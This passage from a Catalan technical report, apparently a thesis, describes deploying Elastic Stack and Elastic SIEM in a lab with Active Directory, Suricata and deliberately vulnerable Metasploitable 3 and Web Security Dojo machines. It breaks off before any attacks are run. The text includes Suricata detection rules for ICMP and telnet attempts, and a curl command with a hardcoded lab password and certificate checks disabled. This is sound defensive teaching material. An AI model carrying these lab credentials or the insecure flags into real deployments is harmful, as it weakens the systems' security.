El funcionament dels *workers* consisteix a executar els contenidors i oferir els serveis. Estan dividits en dos grups d'*AutoScaling*, un destinat a allotjar els diferents components de l'aplicació i l'altre grup destinat a allotjar les diferents utilitats d'integració contínua que utilitzen els desenvolupadors de l'aplicació (Gitlab, Sonarqube, Nexus i Rundeck.).

Per tal de permetre l'accés a aquests contenidors, s'utilitzà l'Ingress de Kubernetes. Concretament, se n'utilitzen tres, un per l'aplicació, un per les eines d'integració contínua i l'últim per l'API de gestió de la plataforma.

Tots aquests Ingress, per tal que siguin accessibles, es troben darrere de tres balancejadors de càrrega (*Netwotk Load Balancing*). Pel que fa a la sortida a internet d'aquests servidors, s'utilitzen NAT Gateway.



# 3.2.3. Accés per part dels usuaris

Els usuaris per accedir a l'aplicació no ho fan directament a través dels balancejadors de càrrega allotjats a AWS, sinó que ho fan a través d'un distribuïdor de contingut. En aquest cas, el producte que s'utilitza és Fastly.

Aquest producte actua com a punt d'accés per part dels usuaris a l'aplicació i, a més, realitza la funció de "*cache*".



# 3.2.4. Obtenció de dades

Com s'ha comentat, tant l'aplicació web com les diferents eines d'integració contínua, estan desplegades mitjançant contenidors. Un dels beneficis dels contenidors és assegurar que tot l'entorn és uniforme, sense importar sobre quin sistema es desplega. De la mateixa manera, és habitual que aquests contenidors siguin volàtils, és a dir, que no emmagatzemen informació sinó que, cada cop que el reinicies o es canvia la versió, es destrueix i es torna a recrear.

Seguint aquest plantejament, tota l'arquitectura d'aquest entorn està pensada perquè sigui volàtil, permetent la creació o destrucció dels diferents components segons les necessitats. Si tenim en compte aquest comportament, els *logs* dels diferents components també són volàtils. Per tal de donar solució a aquest tema, tots els *logs* i les diferents mètriques s'envien al servei de CloudWatch que ofereix AWS. D'aquesta manera, s'aconsegueix mantenir aquesta informació encara que la plataforma sigui volàtil.

Una altra mesura que s'ha pres és que els *logs* que genera pròpiament l'aplicació web i el distribuïdor de contingut s'envien directament a un altre clúster d'ElasticSearch.

# 3.3. Escenari 3: Machine Learning

El que es busca amb aquest escenari, és comprovar què ens pot aportar el mòdul de Machine Learning.

Com a font de dades, s'utilitzaran les dades obtingudes en els escenaris anteriors. Mitjançant el mòdul de Machine Learning s'intentarà detectar anomalies.

# 4. Desplegament d'Elastic Stack

# 4.1. Requeriments

La versió dels diferents components d'Elastic que es desplegarà serà la **7.6.** En aquesta versió, l'aplicació de l'Elastic SIEM inclou en mode *beta* la part de detecció d'anomalies mitjançant regles, com s'indica a l'article *"Lanzamiento de Elastic Security 7.6.0."* (Settle, 2019).

Elastic disposa d'una matriu on s'indica la compatibilitat entre versions de tots els productes. Es pot consultar al següent <u>enllaç</u>.

A continuació, es detallarà quins són els requeriments necessaris per a desplegar el producte:

- Sistema Operatiu: CentOS 7.
- > Java: OpenJDK 11.
- > Kibana: 7.6.
- > Logstash: 7.6.
- **Beats:** 7.6.
- > ElasticSearch: 7.6.
- Memòria RAM: 4 GB.
- ▶ vCPU: 2.
- 4.2. ElasticSearch

### 4.2.1. Instal·lació

Per tal de realitzar la instal·lació de l'ElasticSearch, s'ha desplegat una màquina virtual amb els requeriments anteriorment comentats. A més, se li ha assignat una unitat de 25 GB que és on s'emmagatzemarà la informació de l'ElasticSearch.

Per tal de realitzar la instal·lació d'una manera desatesa, s'ha creat un script que realitzarà les següents tasques:

- Instal·lació del Java.
- Instal·lació de l'Elastic.
- Configuració bàsica de l'Elastic:
  - Definició del nom del clúster.
  - Definició del nom del node.
  - Canvi de ruta de les dades de l'Elastic.
  - Activar el *Memory Lock* (recomanació d'Elastic).
  - Canviar la IP per on escolta.
  - Identificar el port a utilitzar.
  - o Identificar que és un clúster d'un node.
- > Ajustar paràmetres del sistema operatiu:
  - Configurar la memòria màxima que utilitzi el Java.
  - Configurar la memòria Java inicial.

- Configuració de *Pagefiles* (recomanació d'Elastic).
- > Configuració del FileSystem /dades.
- Configuració d'auto inici.
- > Obrir ports al *Firewall*.

#### El script en qüestió és el següent: Script 1: Instal·lació d'ElasticSearch.

Un cop s'ha executat el script, ja tindríem l'ElasticSearch instal·lat. El següent pas serà inicialitzar-ho. Per fer-ho, executarem la següent comanda:

#### systemctl start elasticsearch

Per tal de comprovar que efectivament està funcionant de forma correcta, executarem la següent comanda. Ens fixarem amb el valor "status" que ha d'indicar "green" (Captura 1: Estat del clúster):

curl -X GET "192.168.43.100:9200/\_cluster/health?wait\_for\_status=yellow&timeout=50s&pretty"

A partir d'aquest punt, ja tindrem l'ElasticSearch funcionant. No obstant això, el clúster està configurat sense cap mena de seguretat. És important indicar que, per requeriments del mòdul de detecció de l'Elastic SIEM, és necessari que la comunicació sigui mitjançant HTTPS.

# 4.2.2. Configuració Seguretat i Comunicació SSL

Per tal de configurar el protocol HTTPS i donar seguretat al clúster d'ElasticSearch, és necessari realitzar les següents tasques:

Primer de tot, és necessari crear una entitat certificadora (CA) així com un certificat SSL. Per fer-ho, s'ha creat un script que realitzarà les següents tasques:

- > Instal·lació de la utilitat per crear els certificats.
- > Creació de l'estructura de carpetes per emmagatzemar els fitxers.
- > Creació de plantilles per crear la CA i el Certificat SSL.
- Generació de la CA.
- > Generació del certificat SSL.
- > Canvi de propietari de la carpeta.

El script és el següent: Script 2: Creació dels certificats SSL ElasticSearch.

Un cop disposem del certificat generat, el següent pas serà configurar l'ElasticSearch. Per fer-ho, s'ha creat el següent **Script 3: Configuració del SSL ElasticSearch.** 

Seguidament, procedirem a reiniciar el servei. Per fer-ho, executarem la següent comanda:

#### systemctl restart elasticsearch

Un cop ja disposem de l'ElasticSerach configurat amb seguretat, el següent pas serà crear els usuaris de sistema per tal de poder-hi accedir. Per fer-ho, executarem la següent comanda, on ens demanarà la contrasenya pels següents usuaris: elastic, apm\_system, kibana, logstash\_system, beats\_system i remote\_monitoring\_user (Captura 2: Usuaris del Sistema Elastic):

/usr/share/elasticsearch/bin/elasticsearch-setup-passwords interactive -u "https://elasticstack.mistic.lab:9200"

Un cop ja es disposa de les contrasenyes assignades, comprovarem el correcte funcionament. Tornarem a executar la comanda per comprovar l'estat del clúster però aquest cop hi afegirem els *flags* -u per indicar quin és l'usuari i la contrasenya i -k perquè no comprovi la validesa del certificat SSL. De nou ens fixarem amb el valor "*status*" que ha d'indicar "*green*" (Captura 3: Estat del Clúster SSL).

curl -u elastic:3l4s1cUs3r "https://elasticstack.mistic.lab:9200/\_cluster/health?wait\_for\_status=yellow&timeout=50s&pretty" -k

A partir d'aquest punt ja tindrem l'ElasticSerach instal·lat i configurat amb SSL.

# 4.3. Kibana

## 4.3.1. Instal·lació

El següent element a instal·lar serà el Kibana, que és la interfície gràfica per administrar l'ElasticSearch i també on hi ha l'aplicació d'Elastic SIEM.

S'han utilitzat els mateixos certificats que s'utilitzen a l'ElsticSearch. Per tal de realitzar la instal·lació i la configuració del Kibana, he creat el següent script que realitza les accions:

- Creació del repositori del Kibana.
- Instal·lació del Kibana.
- Configuració del Kibana.
- Configuració d'auto inici.
- Obrir ports al *firewall*.

El script és el següent Script 4: Instal·lació i configuració del Kibana.

Un cop el procés d'instal·lació ha finalitzat, ja podrem accedir a l'aplicació mitjançant la següent URL (Captura 4: Accés del Kibana):

https://elasticstack.mistic.lab:5601

# 4.4. Logstash

### 4.4.1. Instal·lació

El següent producte a instal·lar serà el Logstash. Es realitzarà una *pipeline* bàsica i, si durant el treball es necessiten noves *piplines*, ja es configuraran. Per fer la instal·lació he creat un script que realitzarà les següents tasques:

- Creació del repositori del Logstash.
- Instal·lació del Logstash.
- > Configuració del Logstash.
- Creació de la *pipeline* bàsica.
- Configuració d'auto inici.

> Obrir ports del *firewall*.

El script és el següent Script 5: Instal·lació del Logstash.

Un cop s'ha executat, podem validar mitjançant els *logs* que, efectivament, s'ha inicialitzat. Per fer-ho, buscarem la següent línia "[*INFO*][*logstash.agent*] *Successfully started Logstash API endpoint {:port=>9600}*" al *log* (Captura 5: Validació del funcionament del Logstash). Executarem la següent comanda:

tail -f /var/log/logstash/logstash-plain.log

Una altra manera de verificar que s'ha connectat a l'ElasticSearch, és verificar si s'ha creat la plantilla. Per validar-ho, ens podem connectar al Kibana. Ens dirigim a l'opció Dev Ops i, a continuació, executem la següent consulta. Podrem veure que a la part dreta apareix tota la informació (Captura 6: Validar la creació de la plantilla del Logstash):

```
GET _template/logstash
{
    "query": {
    "match_all": {}
    }
}
```

# 4.5. Beats

En aquest apartat instal·larem els principals beats.

# 4.5.1. Instal·lació d'AuditBeat

És el primer dels Beats que s'instal·larà. Per fer-ho, s'ha creat un script que realitza les següents accions:

- Instal·lació de l'AuditBeat.
- Configuració de l'AuditBeat.
- > Configuració d'arrencada automàtica.

El Script és el següent Script 6: Instal·lació de l'AuditBeat.

Un cop instal·lat, si ens connectem al Kibana a l'aplicació de SIEM, podem veure que ja ens comencen a arribar dades (Captura 7: Dades de l'AuditBeat).

### 4.5.2. Instal·lació del PacketBeat

És el següent dels Beats que s'instal·larà. Per fer-ho, s'ha creat un script que realitza les següents accions:

- Instal·lació del PacketBeat.
- Configuració del PacketBeat.
- > Configuració arrancada automàtica.

#### El Script és el següent Script 7: Instal·lació del PacketBeat.

Per tal de tenir dades sobre geolocalització de les diferents IP's, és necessari crear un índex. Per fer-ho, executarem la següent comanda des de la carpeta /etc/packetbeat/: **Script 8: Configuració de GeoIP** del PacketBeat.

Un cop instal·lat, si ens connectem al Kibana a l'aplicació de SIEM, podem veure que ja ens comencen a enviar dades (Captura 8: Dades del PacketBeat).

# 4.5.3. Instal·lació del FileBeat

És el següent Beat que s'instal·larà. Per fer-ho, s'ha creat un script que realitza les següents accions:

- ▶ Instal·lació del FileBeat.
- > Configuració del FileBeat i habilitar el mòdul del System.
- > Configuració d'arrencada automàtica.

#### El Script és el següent: Script 9: Instal·lació del FileBeat.

Un cop instal·lat, si ens connectem al Kibana a l'aplicació de SIEM, podem veure que ja ens comencen a arribar dades (Captura 9: Dades del FileBeat).

# 4.6. APM-Server

Per tal de realitzar la instal·lació d'aquest component, s'ha creat un script que realitzarà les següents accions:

- > Instal·lar l'APM-Server.
- Configurar l'APM-Server
- > Configurar l'arrencada automàtica.
- > Obrir ports del *Firewall*.

El script en qüestió és el següent: Script 10: Instal·lació de l'APM-Server.

# 5. Anàlisi de logs

Un cop hem vist els diferents escenaris que aplicarem en el producte d'Elastic Security, així com el procés d'instal·lació de les diferents peces que el formen, el següent pas és comprovar com respon i què ens aporta aquest producte.

# 5.1. Ruta per l'Elastic SIEM

Un cop s'ha desplegat l'Elastic Stack amb les diferents peces que el formen, abans de començar amb el desplegament dels nous components, realitzarem una ruta per l'aplicació d'Elastic SIEM per tenir un primer contacte.

Primer de tot, es realitzarà un petit glossari per entendre les diferents opcions que ens ofereix l'aplicació:

> Signal: fa referència a l'activació d'una regla de detecció especificada.

- Alert: fa referència a la detecció d'una anomalia que es rep per un sistema extern, com podria ser Suricata o Endpoint Security.
- Event: fa referència als diferents elements que s'obtenen gràcies als diferents Beats.
- Timelines: és el lloc de treball on ens permet començar la investigació de les possibles amenaces. Permet utilitzar cerques dels diferents camps dels esdeveniments per a realitzar el seguiment del cas.
- Flow: grup de paquets enviats en el mateix període de temps que comparteixen propietats, com serien: les mateixes IP's origen, les mateixes IP's destí o el mateix protocol.

Com he comentat anteriorment, Elastic SIEM és una aplicació que s'ha creat i integrat dins del Kibana. Per tant, per poder accedir-hi ens hi connectarem i, un cop dins, seleccionarem l'apartat d'Elastic SIEM (Captura 10: Home Kibana).

## 5.1.1. Pestanya Overview

Un cop hem accedit a l'aplicació d'Elastic SIEM, la primera pestanya que ens apareix és l'anomenada *Overview*. En aquesta finestra hi ha un tauler de control amb la visió general del producte mitjançant diferents gràfics:

El primer gràfic que se'ns mostra és l'anomenat "**Signal Count**", a on se'ns mostrarà mitjançant un diagrama de barres el recompte de les diferents *Signals* detectades (Captura 11: Finestra Overview 1).

El següent gràfic que ens apareix correspon a "**External alert count**". De la mateixa manera, se'ns representarà mitjançant un diagrama de barres el recompte de les alertes detectades (Captura 11: Finestra Overview 1).

Seguidament, se'ns mostra un gràfic anomenat "**Event Counts**" on es pot veure un histograma amb la quantitat d'esdeveniment que es van recollint (Captura 12: Finestra Overview 2).

Per finalitzar, ens apareixen dos panells anomenats "**Host Events**" i "**Network Events**" on es representa la quantitat d'esdeveniment que s'han recol·lectat amb els diferents Beats (Captura 12: Finestra Overview 2).

# 5.1.2. Pestanya Hosts

En aquesta finestra, ens apareix una visió general de la situació dels diferents *hosts* que estan enviant informació a l'Elastic.

Podem veure que apareixen tres panells a la part superior (Captura 13: Finestra Hosts 1):

Hosts: se'ns mostra la quantitat de hosts que han enviat informació en una franja de temps

- User Authentication: es mostra una correlació entre els logins realitzats satisfactòriament i els incorrectes. Són reportats per l'AuditBeat i el Winlogbeat.
- > **Unique IP**: ens fa un recompte de les diferents IP's detectades.

Seguidament, tenim un altre panell amb diferents pestanyes:

- All Hosts (Captura 13: Finestra Hosts 1): se'ns mostra més detall dels diferents entorns que han reportat, així com el temps que fa des de l'enviament de l'últim esdeveniment.
- Authentication (Captura 14: Finestra Hosts 2): ens apareixen dos panells, un ens mostra una gràfica amb les diferents autenticacions exitoses i fallades que s'han realitzat. L'altre ens dóna informació sobre les diferents autenticacions.
- Uncommon Processes (Captura 15: Finestra Hosts 3): ens mostra un llistat dels processos que no són comuns.
- Events (Captura 16: Finestra Hosts 4): també es presenten dos panells, en un es mostra amb un diagrama la quantitat d'esdeveniment rebuts. En l'altre panell hi ha més detalls dels diferents processos capturats. Des d'aquesta vista és possible realitzar *Timelines* mitjançant *drag and drop*.
- External Alerts (Captura 17: Finestra Hosts 5): se'ns mostren dos panells amb informació de les alertes externes detectades. Primer se'ns mostra un diagrama amb la quantitat d'esdeveniments detectats i, al segon panell, més detall sobre aquests esdeveniments. Des d'aquesta vista és possible realitzar *timelines* mitjançant *drag and drop*.

# 5.1.3. Pestanya Network

En aquesta finestra, el primer panell correspon a un mapamundi, on s'indica quin és el destí de les connexions que es realitzen dins de la plataforma (Captura 18: Finestra Network 1).

Seguidament, se'ns mostren més panells (Captura 19: Finestra Network 2) amb la següent informació:

- Network Events: s'indica, en la franja horària seleccionada, quants esdeveniments de tipus network hi ha hagut.
- DNS Querys: s'indica en la franja horària seleccionada, quantes querys als DNS hi ha hagut.
- Unique Private IPs: indica quantes IP's d'origen i de destí úniques han aparegut.
- > **Unique Flow IDs**: quantitat de fluxos de comunicació realitzats.
- > **TLS Handshakes:** comunicacions inicialitzades mitjançant TLS.

A continuació, podem veure diferents pestanyes que ens mostraran panells més específics:

Flow: es mostren diferents panells amb informació sobre IP's origen, IP's destí (Captura 19: Finestra Network 2), així com els països d'origen i països de destí (Captura 20: Finestra Network 3).

- DNS: ens mostra informació relacionada amb les consultes DNS. En el primer panell hi ha un diagrama amb la quantitat de consultes realitzades i, en el següent panell, indica quins són els dominis consultats (Captura 21: Finestra Network 4).
- HTTP: ens mostra les diferents sol·licituds HTTP realitzades. (Captura 22: Finestra Network 5)
- External Alerts: en el primer panell es mostra un diagrama amb la quantitat d'alarmes externes i, en el segon panell, més detall sobre aquestes alertes (Captura 23: Finestra Network 6).

# 5.1.4. Pestanya Detecions

En aquesta pestanya es mostrarà tota la informació relacionada amb els *signals* i amb les *alarms*, així com les diferents regles creades (Captura 25: Finestra manage signal rules).

Elastic SIEM ens ofereix un seguit de regles bàsiques precreades. Per tal de carregar-les, farem clic sobre "*Manage Signal detection rules*". Seguidament, farem clic sobre "*Load Prebuilt Detection Rules*" (Captura 25: Finestra manage signal rules). Un cop finalitzat el procés, ens apareixeran les regles creades (Captura 26: Prebuilt signal rules).

Si fem clic sobre qualsevol d'aquestes regles, ens apareixerà més informació sobre aquesta (Captura 27: Exemple de signal rule). Entrarem en més detall sobre les regles en els següents apartats.

### 5.1.5. Timelines

Aquest és un dels apartats bàsics per tal de realitzar l'anàlisi de *logs* i poder detectar anomalies. Elastic SIEM ens ofereix aquesta funcionalitat que ens permet, mitjançant *drag and drop* o bé mitjançant *querys KQL*, analitzar la informació recollida pels diferents orígens de dades. A la Captura 28: Query timeline, es pot veure una *query* per detectar un arxiu que es va eliminar.

Una altra funcionalitat és la de poder afegir notes a esdeveniments en concret. També ens permet guardar aquest *timeline* per poder analitzar-lo més endavant (Captura 29: Timeline guardada).

### 5.1.6. Regles de detecció

Per tal de poder realitzar la detecció de *signals*, s'utilitzen les regles. Una regla està formada principalment per:

- Query: consulta que permet identificar una anomalia. Es poden utilitzar les *timelines* creades.
- > **Name:** nom identificador del signal.
- > **Description:** descripció del signal.
- > **Severity:** indica la criticitat, pot ser *low, medium, high* o *critical*.
- > *Risk score*: puntuació del 0 al 100.

- > **Tags:** etiquetes per identificar la regla.
- > Schedule rule:
  - Interval de temps amb la freqüència d'execució de la regla per detectar els *signals* en aquell període.
  - Look-back: és el temps addicional que analitzarà. És a dir, si s'executa cada cinc minuts i el *look-back* és d'un minut, significa que: cada cinc minuts revisarà els esdeveniment que li han arribat els últims sis minuts.

Per defecte, totes les regles estan desactivades i l'administrador de l'Elastic SIEM serà l'encarregat d'activar-les. De la mateixa manera, també es podran crear regles Personalitzades.

# 5.2. Escenari 1: Entorn empresarial

# 5.2.1. Desplegament d'Active Directory

5.2.1.1. Requeriments

Es desplegarà el servei *d'Active Directory* sobre una màquina virtual amb les següents característiques:

- Sistema Operatiu: Windows Server 2019 Standard.
- > CPU: 2vCPU.
- Memoria RAM: 2GB.
- **Unitat C:** 40 GB.
- > Nom del domini: mistic.lab.
- **Hostname:** misticad.

### 5.2.1.2. Instal·lació d'ActiveDirectory

Per tal de realitzar el desplegament s'ha utilitzat un script *PowerShell* que realitza les següents accions (Captures

Captura 30: Execució del script, Captura 31: Contrasenya de recuperació de l'AD, Captura 32: AD funcionant):

- Assignar IP estàtica.
- > Configurar DNS.
- Desactivar IPv6.
- ➢ Instal·lació del rol AD-DS.
- Promoció de l'Active Directory.

El script és el següent: Script 11: Instal·lació d'Active Directory.

Per tal d'obtenir més informació sobre els diferents esdeveniments que puguin succeir, es crearà una GPO<sup>5</sup> per habilitar l'auditoria (Captura 33: Creació de GPO Audit):

- Audit account logon events: es registraran tots els intents d'autenticació d'usuaris a aquest domini.
- > Audit logon events: es registraran els intents de login al servidor de l'AD.

<sup>&</sup>lt;sup>5</sup>Group Policy Object (GPO): són polítiques creades a l'Active Directory per tal de definir configuracions i limitacions pels usuaris que es connectin a un equip del domini.

Audit object access: permet que s'auditin altres objectes que no siguin de l'Active Directory.

### 5.2.1.3. Instal·lació del WinlogBeat

Per tal d'obtenir informació dels diferents esdeveniments que succeeixen al servidor, instal·larem el paquet WinlogBeat. Aquest Beat disposa d'un mòdul per obtenir les dades del *sysmon*.

Aquest servei que s'instal·la al servidor ens proporciona informació sobre la creació de processos, connexions de xarxa, creació de fitxers i alguns tipus d'injecció de codi entre d'altres. Una de les configuracions més destacades i utilitzades és la configuració generada per "*SwiftOnSecurity*<sup>6</sup>". Per tant, utilitzarem aquest arxiu de configuració. Per tal de realitzar tota la instal·lació, s'ha generat un script en *PowerShell* que realitza les tasques següents:

- > Afegir al DNS de Windows el registre del servidor d'Elastic.
- > Descarregar el paquet de WinlogBeat i instal·lar-lo.
- Descarregar el paquet de sysmon i la configuració de SwiftOnSecurity per la seva instal·lació.
- ➢ Configurar WinlogBeat.
- Instal·lar el servei del WinlogBeat i la seva arrancada.

El script és el següent: Script 12: Instal·lació del WinlogBeat.

Un cop el procés d'instal·lació ha finalitzat, si ens connectem a l'Elastic SIEM, podem veure que ja comença a recopilar dades (Captura 34: Instal·lació del WinlogBeat).

### 5.2.1.4. Instal·lació d'AuditBeat

Per tal d'obtenir més informació sobre els diferents processos, així com la integritat dels fitxers, és necessari instal·lar l'AuditBeat.

Per tant, utilitzarem aquest arxiu de configuració. Per tal de realitzar tota la instal·lació, he generat un script en *PowerShell* que realitza les següents tasques:

- Descarregar el paquet de l'AuditBeat i instal·lar-lo.
- Configurar l'AuditBeat.
- > Instal·lar el servei de l'AuditBeat i la seva arrancada.

El script és el següent: Script 13: Instal·lació de l'AuditBeat de Windows.

Un cop el procés d'instal·lació ha finalitzat, si ens connectem a l'Elastic SIEM, podem veure que ja comença a recopilar dades (Captura 35: Esdeveniments de l'AuditBeat).

<sup>&</sup>lt;sup>6</sup> Arxiu de configuració: https://github.com/SwiftOnSecurity/sysmon-config

### 5.2.1.5. Instal·lació de PacketBeat

Primer de tot, com a prerequisit del PacketBeat, és necessari instal·lar la llibreria *npcap*. Com que no és possible realitzar una instal·lació desatesa, ho instal·larem manualment. Ens descarregarem el paquet i seguirem l'assistent (Captura 36: Instal·lació del npcap).

Per tal de realitzar la instal·lació del PacketBeat, s'ha elaborat un script amb *powershell* que realitzarà les següents accions:

- > Descarregar el PacketBeat i instal·lar-lo.
- > Configurar el PacketBeat.
- > Instal·lar el servei del PacketBeat i la seva arrancada.

#### El script és el següent: Script 14: Instal·lació del PacketBeat de Windows.

Un cop el procés ha finalitzat, si ens connectem a l'Elastic SIEM, podem veure que, efectivament, comencen a enviar informació (Captura 37: Instal·lació del PacketBeat).

## 5.2.2. Desplegament del servidor de fitxers

### 5.2.2.1. Requeriments

Com que ja disposem de l'Active Directory instal-lat, crearem una carpeta en aquest mateix servidor i la publicarem com a recurs compartit perquè els usuaris que estiguin al domini puguin utilitzar aquest servei.

#### 5.2.2.2. Creació del share

Executarem les següents comandes de *PowerShell* per crear la carpeta i compartir-la (Captura 38: Creació del share): **Script 15: Creació del share SMB.** 

Seguidament, un cop creada la carpeta, el següent pas serà configurar l'auditoria d'aquesta carpeta. Per fer-ho, ens dirigirem a la carpeta i farem clic amb el botó dret seleccionant *Properties* i seleccionem la pestanya *Security* (Captura 39: Finestra de propietats). Premerem sobre el botó *Advanced* (Captura 40: Finestra de propietats avançades). A la següent finestra, fem clic sobre *Auditing*. Premerem sobre *Add* i li indicarem que volem que auditi a tots els usuaris (*Everyone*). També indicarem que ens auditi les accions de: *Create File/Write Data, Create Folder/append Data, Delete subfolders and files, Delte, Read Permissions, Change Permissions* i *Take Ownership* (Captura 41: Finestra d'auditing). Tanquem les diferents pantalles fent clic a *OK*. Per tal de tenir dades, crearem un fitxer amb el *notepad* i després l'eliminarem.

Seguidament, si ens connectem a l'Elastic SIEM i realitzem una cerca per l'esdeveniment de Windows 4663 (creació de fitxers), podrem veure que s'ha registrat (Captura 42: Esdeveniment 4663 creació). A continuació, si ho tornem a filtrar però aquest cop per l'esdeveniment 4656 (eliminació de fitxers), també podrem veure el registre (Captura 43: Esdeveniment eliminació).

# 5.2.3. Desplegament del Suricata IDS

### 5.2.3.1. Requeriments

Realitzarem la instal·lació del Suricata IDS sobre la següent màquina virtual:

- Sistema Operatiu: Ubuntu 18.
- > Memòria RAM: 2 GB.
- ➢ CPU: 2vCPU.
- > **Suricata:** 5.0.

Per tal d'enviar els *logs* a l'ElasticSearch, instal·larem el FileBeat.

#### 5.2.3.2. Instal·lació del Suricata

Per tal de realitzar la instal·lació i la configuració del Suricata s'ha generat un script que realitzarà les següents accions:

- Instal·lar el Suricata.
- Configurar el Suricata.
- Actualitzar les regles.
- > Reiniciar l'aplicació per aplicar els canvis en la configuració.

#### El script és el següent: Script 16: Instal·lació del suricata.

Un cop ja tenim instal·lat i configurat el Suricata, el següent pas serà instal·lar el FileBeat per tal d'obtenir la informació.

#### 5.2.3.3. Instal·lació del FileBeat

Per tal d'instal·lar el FileBeat al servidor del Suricata, hem adaptat el script que he utilitzat durant la instal·lació de l'Elastic Stack. Els passos que realitza són:

- Instal·lació del FileBeat.
- > Configuració del FileBeat i habilitar el mòdul del Suricata.
- > Configuració d'arrencada automàtica.

El script resultant és el següent: Script 17: Instal·lació i configuració del FileBeat d'Ubuntu.

Per tal de comprovar el correcte funcionament, configurarem el Suricata perquè detecti com una alerta l'intent de realitzar un *telnet* contra el servidor o en realitzar un *ping*.

Per això, he creat el següent fitxer a la ruta /var/lib/suricata/rules/suricata.rules, amb el següent contingut:

alert icmp any any -> \$HOME\_NET any (msg:"ICMP connection attempt"; sid:1000002; rev:1;) alert tcp any any -> \$HOME\_NET 23 (msg:"TELNET connection attempt"; sid:1000003; rev:1;)

Seguidament, he reiniciat el servei del Suricata amb la comanda:

#### service suricata restart

Un cop inicialitzat, he realitzat un *ping* i un *telnet* contra el servidor: (Captura 44: Test de ping i telnet). Si ens connectem a l'Elastic SIEM, dins dels esdeveniments del servidor *sruicata.mistic.lab* podrem veure aquestes alarmes (Captura 45: Alarma del Suricata a l'Elastic SIEM).

Per tal de deixar la configuració normal, tornarem a executar la comanda:

suricata-update service suricata restart

# 5.2.4. Desplegament d'entorns vulnerables

5.2.4.1. Desplegament de Linux "Metasploitable"

Una de les primeres màquines que es desplegaran serà Metasploitable 3, aquesta distribució es basa en Ubuntu. Està configurada i preparada amb ports oberts, així com configuracions vulnerables per tal de poder practicar les intrusions als servidors. La instal·lació d'aquest entorn es basa en el desplegament d'una màquina virtual. No obstant això, no existeix la plantilla sinó que s'ha de crear.

Per fer-ho, és necessari instal·lar el Vagrant<sup>7</sup> i el VirtalBox<sup>8</sup>. Seguidament, ens descarregarem el Vagrantfile <sup>9</sup> del següent <u>enllaç</u>. Amb la següent comanda de *powerShell* es crearan les màquines virtuals per Virtualbox (Captura 46: Crear màquines Metasploitable 3). Cal estar a la mateixa ruta que l'arxiu descarregat.

vagrant up

Exportarem la màquina en format *ova* i la importarem al vMWare Workstatsion. Un cop ja està arrancada, el següent pas serà instal·lar els Beats oportuns, en aquest cas es desplegarà l'AuditBeat i el PacketBeat.

Per tal de realitzar aquesta instal·lació, adaptarem el script d'instal·lació d'aquests components per un entorn Ubuntu. A causa de la versió del Sistema Operatiu desplegat (Ubuntu 14.04), no és compatible amb la funcionalitat de *socket* de l'AuditBeat. Per tant, durant la configuració el deshabilitarem. El script realitza les següents accions:

- Instal·lar el PacketBeat i l'AuditBeat.
- Configurar els dos Beats.
- Configurar l'auto arrencada.

# EL script és el següent: Script 18: Instal·lació de l'AuditBeat i el PacketBeat d'Ubuntu.

Un cop instal·lat, si ens connectem a l'Elastic SIEM, podem veure que s'ha donat d'alta el nou servidor i que està obtenint dades dels dos Beats (Captura 47: Linux

<sup>&</sup>lt;sup>7</sup> Vagrant: programari destinat a la creació i configuració d'entorns de desenvolupament virtualitzats.

<sup>&</sup>lt;sup>8</sup> VirtualBox: programari propietat d'Oracle destinat a la virtualització de servidors.

<sup>&</sup>lt;sup>9</sup> Vagrantfile: plantilla on es descriu quin tipus de màquina es desitja, així com la seva configuració, per poder ser desplegat per Vagrant.

Metasploitable: Metasploitable AuditBeat i Captura 48: Linux Metasploitable: Metasploitable PacketBeat).

### 5.2.4.2. Desplegament de Windows "Metasploitable"

La següent màquina a desplegar serà una màquina basada en Windows, utilitzarem la versió de Windows del Metasploitable 3. Desplegarem una màquina virtual amb un sistema operatiu Windows Server 2008 R2.

La instal·lació d'aquest entorn es basa en el desplegament d'una màquina virtual. De la mateixa manera que la versió Linux, no existeix la plantilla sinó que s'ha de crear. Amb el mateix procediment que hem vist a l'apartat anterior, es generarà també aquesta nova màquina virtual.

Per tant, només s'haurà de posar el servidor al domini creat (Captura 49: Afegir al domini) i instal·lar els Beats oportuns. Com que és un servidor Windows, s'instal·larà el WinlogBeat, l'AuditBeat i el PacketBeat utilitzant els mateixos scripts que hem utilitzat durant la instal·lació del servei de directori (Script 12: Instal·lació del WinlogBeat, Script 13: Instal·lació de l'AuditBeat de Windows i Script 14: Instal·lació del PacketBeat de Windows).

Un cop el procés ha finalitzat, si ens connectem a l'Elastic SIEM, ja podrem veure que es recullen dades, tant per la part del WinlogBeat (Captura 50: Windows Metasploitable: Esdeveniments de WinlogBeat), com per la part de l'AuditBeat (Captura 51: Windows Metasploitable: Esdeveniment d'AuditBeat), com el *PacketBeat* (Captura 52: Windows Metasploitable: Esdeveniments de PacketBeat).

### 5.2.4.3. Desplegament del Web Security Dojo

El següent entorn per desplegar serà el Web Security Dojo, és una distribució basada en Xubuntu que està preparada per realitzar atacs d'intrusió sobre entorns web.

En aquest cas, s'instal·laran els Beats AuditBeat i PacketBeat. S'utilitzarà el mateix script usat en la instal·lació del Metaspoliable3 de Linux: Script 18: Instal·lació de l'AuditBeat i el PacketBeat d'Ubuntu.

Un cop el procés ha finalitzat, si ens connectem a l'Elastic SIEM, ja podrem veure que es recullen dades. Tant per la part de AuditBeat (Captura 53: Web Security Dojo: Esdeveniment d'AuditBeat), com per la part del PacketBeat (Captura 54: Web Security Dojo: Esdeveniment de PacketBeat).

Com que és una distribució pensada per intrusions web, també pot ser útil instal·lar l'APM-Agent per NodeJS<sup>10</sup>.

Per fer-ho, s'ha creat un script que realitza les següents tasques:

> Instal·lar el mòdul de l'elastic-apm-node.

<sup>&</sup>lt;sup>10</sup> NodeJS: entorn d'execució per la capa servidor basat en JavaScript.

> Configurar l'aplicació perquè l'utilitzi.

El script en questió és el seguent: Script 19: Instal·lació APM-Agent NodeJS.

Un cop instal·lat, ja podrem veure que comença a reportar informació a l'ElasticSearch (Captura 55: Web Security Dojo: APM-Agent).

### 5.2.5. Detecció d'amenaces

Un cop desplegats els diferents components que formaran part d'aquest escenari, el següent pas serà explotar-lo i utilitzar les diferents funcionalitats per a detectar anomalies.

### 5.2.5.1. Detecció d'amenaces mitjançant regles precreades

Com s'ha comentat en apartats anteriors, s'han carregat a l'Elastic SIEM un seguit de regles precreades. En aquest apartat, par tal de provar el funcionament d'aquestes i disposar de *singals*, simularé diferents proves per tal de generar-ne.

